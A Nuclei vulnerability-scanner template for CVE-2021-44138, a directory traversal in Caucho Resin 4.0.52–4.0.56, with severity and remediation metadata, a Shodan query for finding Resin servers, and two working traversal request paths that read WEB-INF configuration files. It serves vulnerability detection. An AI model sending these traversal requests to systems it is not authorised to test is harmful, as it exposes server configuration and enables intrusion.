nuclei-templates/http/cves/2021/CVE-2021-44138.yaml

59 lines
1.7 KiB
YAML

id: CVE-2021-44138
info:
name: Caucho Resin >=4.0.52 <=4.0.56 - Directory traversal
author: carrot2
severity: high
description: |
There is a Directory traversal vulnerability in Caucho Resin, as distributed in Resin 4.0.52 - 4.0.56, which allows remote attackers to read files in arbitrary directories via a ; in a pathname within an HTTP request.
remediation: |
Upgrade Caucho Resin to a version higher than 4.0.56 to mitigate the vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/cve-2021-44138
- https://github.com/maybe-why-not/reponame/issues/2
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-44138
cwe-id: CWE-22
epss-score: 0.02869
epss-percentile: 0.89616
cpe: cpe:2.3:a:caucho:resin:*:*:*:*:*:*:*:*
metadata:
verified: "true"
max-request: 2
vendor: caucho
product: resin
shodan-query: html:"Resin"
tags: cve,cve2021,resin,caucho,lfi
http:
- method: GET
path:
- "{{BaseURL}}/;/WEB-INF/web.xml"
- "{{BaseURL}}/resin-doc/;/WEB-INF/resin-web.xml"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<web-app"
- "</web-app>"
condition: and
- type: word
part: header
words:
- "text/xml"
- "application/xml"
condition: or
- type: status
status:
- 200
# digest: 4a0a0047304502204a70495b7c74d24554d37f074887bb1335c65af29ee4143f695f6226510f3e2f0221008b22701b92cec15140f1cd975e85c0010fcbe834e63f86ee6277115284cfce8d:922c64590222798bb761d5b6d8e72950